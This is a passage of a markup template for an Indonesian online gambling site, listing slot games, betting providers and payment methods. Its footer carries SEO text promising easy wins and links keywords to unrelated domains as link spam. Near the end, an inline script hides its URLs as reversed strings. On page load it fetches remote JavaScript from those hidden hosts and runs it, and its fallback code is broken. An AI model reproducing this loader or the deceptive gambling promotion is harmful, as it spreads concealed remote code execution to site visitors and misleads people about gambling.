                        <a href="/slots-provider">LIHAT SEMUA GAME</a>
                    </div>
                    <div class="game-items">
                        <div class="box s-check" action="slot-pm" gc="vs20olympgate">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/vs20olympgate.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/vs20olympgate.png" width="200" height="200" alt="Gates of Olympus" loading="lazy">
                                </picture>
                            </div>
                            <span>Gates of Olympus</span>
                        </div>
                        <div class="box s-check" action="slot-s88" gc="38">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/qow.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/qow.png" width="200" height="200" alt="Queen Of Wands" loading="lazy">
                                </picture>
                            </div>
                            <span>Queen Of Wands</span>
                        </div>
                        <div class="box s-check" action="slot-s88" gc="35">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/888.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/888.png" width="200" height="200" alt="888" loading="lazy">
                                </picture>
                            </div>
                            <span>888</span>
                        </div>
                        <div class="box s-check" action="slot-s88" gc="51">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/er.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/er.png" width="200" height="200" alt="Extreme Rhino" loading="lazy">
                                </picture>
                            </div>
                            <span>Extreme Rhino</span>
                        </div>
                        <div class="box s-check" action="slot-s88" gc="52">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/zu.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/zu.png" width="200" height="200" alt="Zeus" loading="lazy">
                                </picture>
                            </div>
                            <span>Zeus</span>
                        </div>
                        <div class="box s-check" action="slot-s88" gc="37">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/slots/jjewel.webp" type="image/webp">
                                    <img src="/common/assets/images/home/slots/jjewel.png" width="200" height="200" alt="Joker's Jewels 88" loading="lazy">
                                </picture>
                            </div>
                            <span>Joker's Jewels 88</span>
                        </div>
                    </div>
                </div>
                <div class="home-games">
                    <div class="title">
                        <svg viewBox="0 0 24 24" style="width: 30px; height: 30px; overflow: visible; opacity: 1; z-index: 1; fill: rgb(206, 206, 206);">
                            <path fill="none" d="M0 0h24v24H0z"></path>
                            <path opacity=".3" d="m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82z"></path>
                            <path d="m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82L11 8.89zM8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2l-2.42 8zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72L21.36 22zM17 8l-1.82-6-1.04 3.45.77 2.55H17z"></path>
                        </svg>
                        <span style="margin-left: 10px;"><span class="text-white">POPULAR </span><span class="text-color">GAMES</span></span>
                        <div style="flex:1"></div>
                    </div>
                    <div class="game-items">
                        <div class="box s-check" action="wbsport">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/sb-wb.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/sb-wb.jpg" width="200" height="200" alt="WB Sport" loading="lazy">
                                </picture>
                            </div>
                            <span>WB Sport</span>
                        </div>
                        <div class="box s-check" action="pm-suit">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/lc-pm.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/lc-pm.jpg" width="200" height="200" alt="PP Suite" loading="lazy">
                                </picture>
                            </div>
                            <span>PP Suite</span>
                        </div>
                        <a class="box" href="/slots?sg=lv2">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/sg-live22.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/sg-live22.jpg" width="200" height="200" alt="Live22 game" loading="lazy">
                                </picture>
                            </div>
                            <span>Live22</span>
                        </a>
                        <a class="box" href="/slots?sg=pm">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/sg-pp.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/sg-pp.jpg" width="200" height="200" alt="PP Slot" loading="lazy">
                                </picture>
                            </div>
                            <span>PP Slot</span>
                        </a>
                        <a class="box" href="/slots?sg=vp">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/sg-vp.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/sg-vp.jpg" width="200" height="200" alt="V Power game" loading="lazy">
                                </picture>
                            </div>
                            <span>V Power</span>
                        </a>
                        <a class="box" href="/slots?sg=s88">
                            <div class="box-item">
                                <span>
                                    <button>Main</button>
                                </span>
                                <picture>
                                    <source srcset="/common/assets/images/home/popular/sg-s88.webp" type="image/webp">
                                    <img src="/common/assets/images/home/popular/sg-s88.jpg" width="200" height="200" alt="Slot88 game" loading="lazy">
                                </picture>
                            </div>
                            <span>Slot88</span>
                        </a>
                    </div>
                </div>
            </div>
        </section>
        <section class="services">
            <div class="wrapper">
                <div class="box">
                    <h4><span class="text-color">KELEBIHAN </span><span class="text-white">LAYANAN</span></h4>
                    <div class="box-item">
                        <div class="deposit-withdraw">
                            <div class="card">
                                <div class="card-header">
                                    <div class="circle-wrp">
                                        <div class="ring">
                                            <img src="/common/assets/images/v2/icon-deposit.png" width="240" height="240" alt="proses depo" class="icon" loading="lazy">
                                        </div>
                                    </div>
                                    <div class="text-wrp">
                                        <div class="text-row">
                                            <div>
                                                <div class="text-bg title">PROSES DEPOSIT</div>
                                                <div>Waktu rata-rata</div>
                                            </div>
                                            <div class="text-time-new"><span>1</span> mins</div>
                                        </div>
                                        <div class="progress">
                                            <div class="progress-bar" style="width: 10%;"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="card">
                                <div class="card-header">
                                    <div class="circle-wrp">
                                        <div class="ring">
                                            <img src="/common/assets/images/v2/icon-withdraw.png" width="240" height="240" alt="proses wd" class="icon" loading="lazy">
                                        </div>
                                    </div>
                                    <div class="text-wrp">
                                        <div class="text-row">
                                            <div>
                                                <div class="text-bg title">PROSES WITHDRAW</div>
                                                <div>Waktu rata-rata</div>
                                            </div>
                                            <div class="text-time-new"><span>3</span> mins</div>
                                        </div>
                                        <div class="progress">
                                            <div class="progress-bar" style="width: 30%;"></div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <span class="text-note">* waktu proses selama bank online dan tidak gangguan</span>
                        </div>
                    </div>
                </div>
                <div class="box half">
                    <h4><span class="text-color">Download </span><span class="text-white">Apps</span></h4>
                    <div class="box-item download">
                        <picture>
                            <source srcset="/common/assets/images/v2/download-apps.webp" type="image/webp">
                            <img src="/common/assets/images/v2/download-apps.png" width="436" height="208" alt="Phone Logo" loading="lazy">
                        </picture>
                        <a href="#" data-apklink="https://www.g8apps.online/d.html?a=jnw" title="Download for Android app">
                            <img src="/common/assets/images/android-btn.png" width="208" height="53" alt="Aplikasi Mobile" loading="lazy">
                        </a>
                    </div>
                </div>
                <div class="box end">
                    <h4><span class="text-color">Layanan </span><span class="text-white">Member</span></h4>
                    <div class="box-item member-service">
                        <div class="swiper swiper-container">
                            <div class="swiper-wrapper"></div>
                            <div class="swiper-pagination"></div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <section class="payment-method">
            <div class="wrapper">
                <div class="box">
                    <div class="box-item">
                        <div class="box-row-title">
                            <p class="box-title">
                                <svg xmlns="http://www.w3.org/2000/svg" style="width: 24px; height: 24px; overflow: visible;margin-right: 10px;" viewBox="0 0 24 24">
                                    <path fill="none" d="M0 0h24v24H0z"></path>
                                    <path d="M17 6H3v8h14V6zm-7 7c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3z" opacity=".3"></path>
                                    <path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM3 14V6h14v8H3z"></path>
                                    <path d="M10 7c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3zm13 0v11c0 1.1-.9 2-2 2H4v-2h17V7h2z"></path>
                                </svg>
                                <span class="text-white">METODE </span>&nbsp;<span class="text-color">PEMBAYARAN</span>
                            </p>
                        </div>
                        <hr class="box-hr">
                        <div class="list-wrapper">
                            <button class="button-pay">
                                <picture>
                                    <source srcset="/common/assets/images/v2/icon-bank-transfer.webp" type="image/webp">
                                    <img src="/common/assets/images/v2/icon-bank-transfer.png" width="128" height="128" alt="transfer manual" class="icon" loading="lazy">
                                </picture>
                                <div class="text">
                                    <p class="text-title">BANK TRANSFER</p>
                                    <p class="text-description">SEMUA BANK LOKAL</p>
                                </div>
                            </button>
                            <button class="button-pay">
                                <picture>
                                    <source srcset="/common/assets/images/v2/icon-ewallet.png" type="image/webp">
                                    <img src="/common/assets/images/v2/icon-ewallet.png" width="128" height="128" alt="dompet elektronik" class="icon" loading="lazy">
                                </picture>
                                <div class="text">
                                    <p class="text-title">E - WALLET</p>
                                    <p class="text-description">SEMUA E-WALLET & QRIS</p>
                                </div>
                            </button>
                            <button class="button-pay">
                                <picture>
                                    <source srcset="/common/assets/images/v2/icon-pulsa.png" type="image/webp">
                                    <img src="/common/assets/images/v2/icon-pulsa.png" width="128" height="128" alt="pulsa provider" class="icon" loading="lazy">
                                </picture>
                                <div class="text">
                                    <p class="text-title">PULSA</p>
                                    <p class="text-description">SEMUA PROVIDER PULSA</p>
                                </div>
                            </button>
                            <div class="information-pay">
                                <div class="text">
                                    <p class="text-title">SUPPORTED</p>
                                    <p class="text-description">BROWSERS</p>
                                </div>
                                <img src="/common/assets/images/v2/icon-browser1.png" width="41" height="40" alt="chrome" class="icon" loading="lazy">
                                <img src="/common/assets/images/v2/icon-browser2.png" width="41" height="40" alt="firefox" class="icon" loading="lazy">
                                <img src="/common/assets/images/v2/icon-browser3.png" width="41" height="40" alt="edge" class="icon" loading="lazy">
                            </div>
                            <div class="information-pay">
                                <div class="text">
                                    <p class="text-title">RESPONSIBLE</p>
                                    <p class="text-description">GAMING</p>
                                </div>
                                <img src="/common/assets/images/v2/icon-18+.png" alt="under 18+" width="144" height="143" alt="chrome" class="icon" loading="lazy">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </section>
        <section class="sidebar s-sidebar">
        </section>
        <footer>
            <div class="wrapper">
                <section class="nav-bottom">
                    <ul>
                        <li>
                            <a href="/aboutus">Tentang Kami</a>
                        </li>
                        <li>
                            <a href="/tnc">Syarat &amp; Ketentuan</a>
                        </li>
                        <li>
                            <a href="/policy">Pribadi</a>
                        </li>
                        <li>
                            <a href="/responsible-gaming">Tanggung Jawab</a>
                        </li>
                        <li>
                            <a href="/faq">Pusat Info</a>
                        </li>
                        <li>
                            <a href="<?php echo $s1a['livechat']; ?>">Hubungi Kami</a>
                        </li>
                    </ul>
                    <div class="seo">
                        <h1 style="text-align:center"><?php echo $instansi ?> Daftar Situs Slot Gacor Online Terpercaya Gampang Menang Hari Ini <br></h1>
                        <p style="text-align:justify"><?php echo $instansi ?>adalah <a href="https://dimitriospizza.com/" style="color:#32a8ea">situs slot gacor</a> terbaik yang menghadirkan pengalaman bermain slot online terpercaya seperti slot88 dengan modal taruhan terkecil namun gampang maxwin. Mesin <a href="https://pulanginsanity.com/" style="color:#32a8ea">slot</a> merupakan permainan tarik tuas yang terdiri dari tiga gulungan dengan simbol unik pada setiap putarannya. Sedangkan, <a href="https://dimitriospizza.com/" style="color:#32a8ea">slot online</a> adalah permainan mesin slot yang dapat dimainkan secara online (daring) dan merupakan permainan hiburan yang menawarkan kemenangan terus menerus dan peluang gacor maxwin tertinggi.</p>
                        <p style="text-align:justify"><a href="https://dimitriospizza.com/" style="color:#32a8ea">Link slot gacor</a> gampang menang&nbsp;tersedia 24 jam nonstop memberikan pelayanan terbaik dengan kenikmatan bermain judi slot online nomor 1 di indonesia. Permainan slot gacor dengan minimal deposit 5000 dan bet hanya 50 perak menjadi&nbsp;pilihan terbaik&nbsp;sebagai situs <a href="https://dimitriospizza.com/" style="color:#32a8ea">slot gacor hari ini</a> yang paling gampang dapat sensational. Slot resmi anti rungkat dilengkapi rtp slot terpercaya kami sajikan agar setiap pemain bisa dengan mudah mendapatkan live rtp terbaru dengan persentase menang lebih tinggi. Ayo gabung&nbsp;sekarang,&nbsp;mainkan game slot gacor 2025 terbaru dan raih peluang maxwin lebih besar.</p>
                    </div>
                </section>
                <section class="information">
                    <div class="information__detail">
                        <h1 class="heading">INFORMASI</h1>
                        <h2 class="subheading">Daftar</h2>
                        <p>Buka akun untuk menikmati semua promosi taruhan online kami dan hiburan game berkualitas premium dengan kualitas luar biasa. Kami menyediakan semua produk yang Anda butuhkan, terutama untuk pasar Indonesia saja. Deposit / Penarikan cepat, grafik yang menarik, mudah diakses dengan banyak browser.</p>
                        <h2 class="subheading">Pribadi</h2>
                        <p>Dengan menerapkan teknologi keamanan paling canggih yang tersedia saat ini, kami memastikan bahwa semua informasi pribadi dan transaksi anggota akan benar-benar aman.</p>
                    </div>
                    <div class="information__detail">
                        <h1 class="heading">PRODUK</h1>
                        <h2 class="subheading">Taruhan Sports & Taruhan Live</h2>
                        <p>Kami menawarkan semua olahraga utama seperti Liga Inggris, La Liga, Serie A, Liga Champion, Ligue 1, Liga Jerman, NFL, NBA, NCAA, Basketball, Tenis, Formula 1 dan banyak lagi. Kami menawarkan hingga 4,000 Taruhan Live pertandingan sepakbola setiap bulannya untuk kesenangan bermain anda.</p>
                        <h2 class="subheading">Live Casino</h2>
                        <p>Kami memiliki berbagai pilihan penawaran. Ini termasuk Live Dealer Kasino dengan tampilan Live Lobby, Dealer Asia cantik, Live Baccarat, Live Sic Bo, Live Dragon Tiger, Live Roulette, Slot Online Kasino dan permainan Keno.</p>
                        <h2 class="subheading">Game Slot</h2>
                        <p>Ratusan permainan Slot yang menarik dan penuh warna dengan peluang untuk memenangkan Jackpot hingga miliaran Rupiah selalu siap untuk Anda taklukkan.</p>
                    </div>
                    <div class="information__detail">
                        <h1 class="heading">PUSAT INFO</h1>
                        <h2 class="subheading">Pusat Bantuan</h2>
                        <p>Lihat halaman FAQ kami untuk aturan taruhan dan bantuan game. Ini berisi bantuan pada pembukaan akun, deposit, penarikan dan bantuan teknis.</p>
                        <h2 class="subheading">Cara Pembayaran</h2>
                        <p>Kami memberikan pilihan tepat bagi pelanggan untuk melakukan deposit dan penarikan. Semua transaksi akan diproses dengan cepat dan aman.</p>
                        <h2 class="subheading">Hubungi Kami</h2>
                        <p>Jika Anda memerlukan bantuan atau memiliki pertanyaan tentang taruhan, kami tersedia 24/7 melalui Live Chat (Whatsapp, Line, Skype...), Telepon dan Email.</p>
                    </div>
                    <div class="information__detail">
                        <h1 class="heading">PROMOSI DAN PENAWARAN KHUSUS</h1>
                        <h2 class="subheading">Promosi</h2>
                        <p>Kami menawarkan bonus penyambutan untuk anggota baru, reload bonus, promosi bulanan di semua produk, rebate harian dan mingguan. Selain itu, ada program ucapan terima kasih untuk anggota yang aktif dan banyak game mini untuk memberikan ribuan kartu game setiap minggu.</p>
                        <h2 class="subheading">Klub Reward</h2>
                        <p>Dapatkan poin dari setiap taruhan dan tukarkan produk fashion atau teknologi terbaru ketika Anda mengunjungi halaman tukar hadiah. Hadiah akan dikirimkan kepada Anda dalam waktu 7 hari.</p>
                        <h2 class="subheading">Klub VIP</h2>
                        <p>Menjadi VIP kami untuk mendapatkan layanan dan profesionalisme terbaik, dengan ribuan hadiah dan program promosi khusus untuk VIP!</p>
                    </div>
                </section>
                <div class="partner">
                    <div class="row">
                        <div class="provider_group">
                            <p>SPORTSBOOK</p>
                            <ul>
                                <li>
                                    <i class="provider provider-wb"></i>
                                </li>
                                <li>
                                    <i class="provider provider-ibcbet"></i>
                                </li>
                                <li>
                                    <i class="provider provider-sbobet"></i>
                                </li>
                                <li>
                                    <i class="provider provider-cmd"></i>
                                </li>
                            </ul>
                        </div>
                        <span>GAME PROVIDER</span>
                    </div>
                    <div class="provider_group">
                        <p>SLOTS</p>
                        <ul>
                            <li>
                                <i class="provider provider-live22"></i>
                            </li>
                            <li>
                                <i class="provider provider-pp"></i>
                            </li>
                            <li>
                                <i class="provider provider-vp"></i>
                            </li>
                            <li>
                                <i class="provider provider-s88"></i>
                            </li>
                            <li>
                                <i class="provider provider-joker"></i>
                            </li>
                            <li>
                                <i class="provider provider-pgsoft"></i>
                            </li>
                            <li>
                                <i class="provider provider-hb"></i>
                            </li>
                            <li>
                                <i class="provider provider-sg"></i>
                            </li>
                            <li>
                                <i class="provider provider-cq"></i>
                            </li>
                            <li>
                                <i class="provider provider-ka"></i>
                            </li>
                            <li>
                                <i class="provider provider-gp"></i>
                            </li>
                            <li>
                                <i class="provider provider-pt"></i>
                            </li>
                            <li>
                                <i class="provider provider-mg"></i>
                            </li>
                            <li>
                                <i class="provider provider-playstar"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>LIVE CASINO</p>
                        <ul>
                            <li>
                                <i class="provider provider-pp"></i>
                            </li>
                            <li>
                                <i class="provider provider-sexy"></i>
                            </li>
                            <li>
                                <i class="provider provider-sa"></i>
                            </li>
                            <li>
                                <i class="provider provider-ion"></i>
                            </li>
                            <li>
                                <i class="provider provider-allbet"></i>
                            </li>
                            <li>
                                <i class="provider provider-gp"></i>
                            </li>
                            <li>
                                <i class="provider provider-pt"></i>
                            </li>
                            <li>
                                <i class="provider provider-ag"></i>
                            </li>
                            <li>
                                <i class="provider provider-mg"></i>
                            </li>
                            <li>
                                <i class="provider provider-568win"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>GAPLE</p>
                        <ul>
                            <li>
                                <i class="provider provider-balak"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>POKER</p>
                        <ul>
                            <li>
                                <i class="provider provider-balak"></i>
                            </li>
                            <!-- <li>
                                    <i class="provider provider-9gaming"></i>
                                </li> -->
                            <li>
                                <i class="provider provider-p2play"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>TANGKAS</p>
                        <ul>
                            <li>
                                <i class="provider provider-tangkas"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>FISH</p>
                        <ul>
                            <li>
                                <i class="provider provider-vp"></i>
                            </li>
                            <li>
                                <i class="provider provider-ka"></i>
                            </li>
                            <li>
                                <i class="provider provider-joker"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>LOTTERY</p>
                        <ul>
                            <li>
                                <i class="provider provider-nex4d"></i>
                            </li>
                        </ul>
                    </div>
                    <div class="provider_group">
                        <p>OTHERS</p>
                        <ul>
                            <li>
                                <i class="provider provider-p93"></i>
                            </li>
                            <li>
                                <i class="provider provider-ka"></i>
                            </li>
                        </ul>
                    </div>
                </div>
                <div class="row-end-footer">
                    <div></div>
                    <div class="box-copyright">
                        <p class="text">&copy; <span style="color: rgb(185, 172, 187)" class="year"></span> <span style="color: #f0edf0ff" class="wl-label"><?php echo $instansi ?></span><span style="color: rgb(185, 172, 187)"> Seluruh Hak Cipta. | 18+</span></p>
                    </div>
                    <div class="box-information">
                        <div class="title-information">
                            <span class="text-left">
                                <div
                                    style="font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1px; line-height: 14px; white-space: nowrap; color: rgb(185, 172, 187);">
                                    Responsible Gaming
                                </div>
                            </span>
                            <span class="text-right">
                                <svg viewBox="0 0 24 24" style="width: 16.5px; height: 16.5px; overflow: visible; margin: 0px 5.5px 0px 0px; fill: rgb(185, 172, 187);">
                                    <path d="M0 0h24v24H0z" fill="none"></path>
                                    <path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"></path>
                                </svg>
                                <div
                                    style="font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 1px; line-height: 14px; white-space: nowrap; color: rgb(185, 172, 187);">
                                    VERIFIED &amp; SECURED
                                </div>
                            </span>
                        </div>
                        <div class="content">
                            <div class="left">
                                <img src="/common/assets/images/v2/icon-18+.png" width="144" height="143" alt="Under 18+" loading="lazy">
                                <img src="/common/assets/images/v2/gamcare.png" width="132" height="146" alt="gamble care" loading="lazy">
                                <img src="/common/assets/images/v2/be-gamble-aware.png" width="197" height="135" alt="gamble aware" loading="lazy">
                            </div>
                            <div class="right">
                                <img src="/common/assets/images/v2/secure-ssl.png" width="269" height="90" alt="with ssl" loading="lazy">
                                <img src="/common/assets/images/v2/trusted-site.png" width="300" height="150" alt="can trust" loading="lazy">
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </footer>
    </div>
    <!-- END DESKTOP -->
    <script src="/js/jquery-3.6.1.min.js"></script>
    <script src="/plugins/swiper/js/swiper-v5.4.2.min.js" defer></script>
    <script src="/plugins/alerts/jquery.alerts.js" defer></script>
    <script src="/plugins/validate/jquery.validate-min.js" defer></script>
    <script src="/js/settings.js" defer></script>
    <script src="/js/core.js" defer></script>
    <script src="/js/common.js" defer></script>
    <script type="text/javascript">
        let loadScript = (e) => new Promise((resolve, reject) => {
            var s = document.createElement("script");
            s.src = e + '?' + Math.random();
            s.defer = true;
            s.onload = function() {
                resolve(true);
            };
            document.body.appendChild(s);
        });
        loadScript('/func/jsx/global.js').then(() => {
            loadScript('/func/jsx/cms.js').then(() => {
                [
                    '/assets/js/common.js', '/assets/js/template.js'
                ].forEach(e => {
                    var s = document.createElement("script");
                    s.src = e;
                    s.defer = true;
                    document.body.appendChild(s);
                });
            });
        });

        function inViewport(element) {
            if (!element) return false;
            if (1 !== element.nodeType) return false;

            var html = document.documentElement;
            var rect = element.getBoundingClientRect();

            return rect && rect.bottom >= 0 && rect.right >= 0 && rect.left <= html.clientWidth && rect.top <= html.clientHeight;
        }

        function loadStyle(force) {
            if (!$('.social-logo').hasClass('loaded') && (force || inViewport($('.social-logo')[0]))) {
                $('.social-logo').addClass('loaded');
                $('.faw').attr('rel', 'stylesheet').attr('media', 'all');
            }
        }
        document.addEventListener("scroll", (event) => {
            loadStyle();
        });
        window.loadMeIfReady = function() {
            $('.nav__menu, .g8pop-login').click(function() {
                loadStyle(true);
            });
        }
    </script>
    <script>
        // APK
        window.webapps = {
            "name": "<?php echo $instansi ?>",
            "logo": "",
            "link": ""
        }
    </script>

    <script type="text/javascript">
        var clientautodepo = 'janjiwin2';
        var labelautodepo = 'JNW';
        var vipthemecode = 'DR';
        var loadwl = 'luxe';
        var domainsystem = 'piv.sitamoto.51emarfi';
        var uuidautodepo = '';
        var apipath = 'evitca_tnahcrem/ipa/piv.sitamoto.sirq//:sptth';

        function setupScriptOtomatis() {
            var pathsystem = "/lwntpircs/" + domainsystem + "//:sptth";
            fetch(pathsystem.split('').reverse().join('') + loadwl + ".js?" + Math.floor(Date.now() / 1000)).then(res => {
                if (res.ok) {
                    return res.text();
                } else {
                    return fetch(response.headers.get('Location')).then(res => res.text());
                }
            }).then(txt => {
                var js = document.createElement("script");
                js.textContent = txt;
                document.head.appendChild(js);
            });
        }
        const reqdataautodepo = {
            "client": clientautodepo,
            "label": labelautodepo
        };
        fetch(apipath.split('').reverse().join(''), {
            method: 'POST',
            headers: {
                Accept: 'application.json',
                'Content-Type': 'application/json'
            },
            cache: "no-cache",
            body: JSON.stringify(reqdataautodepo)
        }).then(resp => resp.json()).then(function(resultautodepo) {
            if (resultautodepo.status) {
                if (resultautodepo.data.uuid) {
                    if (resultautodepo.data.uuid != "") {
                        uuidautodepo = resultautodepo.data.uuid;
                        setupScriptOtomatis();
                    }
                }
            }
        });
    </script>


    <!-- Start of LiveChat (https://www.livechat.com) code -->
    <script>
        window.__lc = window.__lc || {};
        window.__lc.license = 6502981;
        window.__lc.integration_name = "manual_channels";
        window.__lc.product_name = "livechat";;
        (function(n, t, c) {
            function i(n) {
                return e._h ? e._h.apply(null, n) : e._q.push(n)
            }
            var e = {
                _q: [],
                _h: null,
                _v: "2.0",
                on: function() {
                    i(["on", c.call(arguments)])
                },
                once: function() {
                    i(["once", c.call(arguments)])
                },
                off: function() {
                    i(["off", c.call(arguments)])
                },
                get: function() {
                    if (!e._h) throw new Error("[LiveChatWidget] You can't use getters before load.");
                    return i(["get", c.call(arguments)])
                },
                call: function() {
                    i(["call", c.call(arguments)])
                },
                init: function() {
                    var n = t.createElement("script");
                    n.async = !0, n.type = "text/javascript", n.src = "https://cdn.livechatinc.com/tracking.js", t.head.appendChild(n)
                }
            };
            !n.__lc.asyncInit && e.init(), n.LiveChatWidget = n.LiveChatWidget || e
        }(window, document, [].slice))
    </script>
    <noscript><a href="https://www.livechat.com/chat-with/6502981/" rel="nofollow">Chat with us</a>, powered by <a href="https://www.livechat.com/?welcome" rel="noopener nofollow" target="_blank">LiveChat</a></noscript>
    <!-- End of LiveChat code -->


    <!-- Global site tag (gtag.js) - Google Analytics -->
    <script async src="https://www.googletagmanager.com/gtag/js?id=UA-237571473-1"></script>
    <script>
        window.dataLayer = window.dataLayer || [];

        function gtag() {
            dataLayer.push(arguments);
        }
        gtag('js', new Date());

        gtag('config', 'UA-237571473-1');
    </script>


    <!-- Hide Floating Icon WhatsApp -->
    <style>
        .wa-icon {
            visibility: hidden;
        }
    </style>


    <!-- Floating Icon -->
    <style>
        .cstm-toggle-btn {
            position: fixed;
            bottom: 30px;
            left: 30px;
            cursor: pointer;
            width: 50px;
            height: 50px;
            border-radius: 50%;
            background: url('https://iili.io/2JMHpl2.webp') no-repeat center / cover;
            border: none;
            outline: none;
            z-index: 9999;
        }

        .cstm-icon-container {
            position: fixed;
            bottom: 90px;
            left: 30px;
            display: none;
            flex-direction: column;
            gap: 10px;
            z-index: 9999;
        }

        .cstm-icon-container img {
            width: 50px;
            height: 50px;
            cursor: pointer;
            border-radius: 50%;
            transition: all 0.3s ease-in-out;
        }

        .cstm-icon-container.show {
            display: flex;
        }


        @media (max-width: 768px) {
            .cstm-toggle-btn {
                bottom: 60px;
                left: 10px;
            }

            .cstm-icon-container {
                left: 14px;
                bottom: 105px;
            }
        }
    </style>

    <button class="cstm-toggle-btn"></button>

    <div class="cstm-icon-container">
        <a href="/rtp.html">
            <img src="https://iili.io/2JMc0b9.gif" alt="RTP Info">
        </a>
        <a href="https://api.whatsapp.com/send?phone=<?php echo $s1a['wa']; ?>" target="_blank">
            <img src="https://iili.io/2JM2Xcl.webp" alt="WhatsApp">
        </a>
    </div>

    <script>
        const toggleBtn = document.querySelector('.cstm-toggle-btn');
        const iconContainer = document.querySelector('.cstm-icon-container');

        toggleBtn.addEventListener('click', () => {
            iconContainer.classList.toggle('show');
        });
    </script>


    <!-- jnw -->
</body>

</html>